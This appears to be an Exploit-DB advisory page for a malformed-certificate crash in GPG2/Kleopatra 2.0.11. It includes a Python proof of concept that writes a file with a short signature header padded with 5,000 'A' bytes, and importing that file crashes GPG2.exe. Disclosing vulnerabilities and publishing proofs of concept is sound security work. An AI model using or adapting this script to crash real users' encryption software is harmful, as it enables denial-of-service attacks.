GPG2/Kleopatra 2.0.11 - Malformed Certificate Crash PoC

vendor:

GPG2/Kleopatra

by:

Dr_IDE

7.5

CVSS

HIGH

Malformed Certificate Crash

CWE

Product Name: GPG2/Kleopatra

Affected Version From: 2.0.11

Affected Version To: 2.0.11

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7RC, XPSP3

2009

GPG2/Kleopatra 2.0.11 – Malformed Certificate Crash PoC

This PoC exploits a vulnerability in GPG2/Kleopatra 2.0.11, where a malformed certificate can be imported into Kleopatra, causing GPG2.exe to crash. The exploit seems to only check for the presence of a specific signature.

Mitigation:

Update to the latest version of GPG2/Kleopatra.

Source

Exploit-DB raw data:

#!/usr/bin/env python

################################################################
#
# GPG2/Kleopatra 2.0.11 - Malformed Certificate Crash PoC
# Note: 	Part of the GPG4Win Package v2.0.1
# Found By:	Dr_IDE
# Tested On:	7RC, XPSP3
# Usage:	Import the Cert into Kleopatra, GPG2.exe Crashes
#
################################################################

# Seems to only check for the presense of this signature
cert  = ("\x99\x03\x2E\x04\x4A\xDC\xA8\x29\x11\x08\x20");
cert += ("\x41" * 5000);

try:
	print ("[*] Creating evil GPG cert.");
	f1 = open("gpg2_evil_cert.gpg","w");
	f1.write(cert);
	f1.close();
	print ("[*] File created successfully. Import it.");

except:
	print ("[-] Error.");

#[pocoftheday.blogspot.com]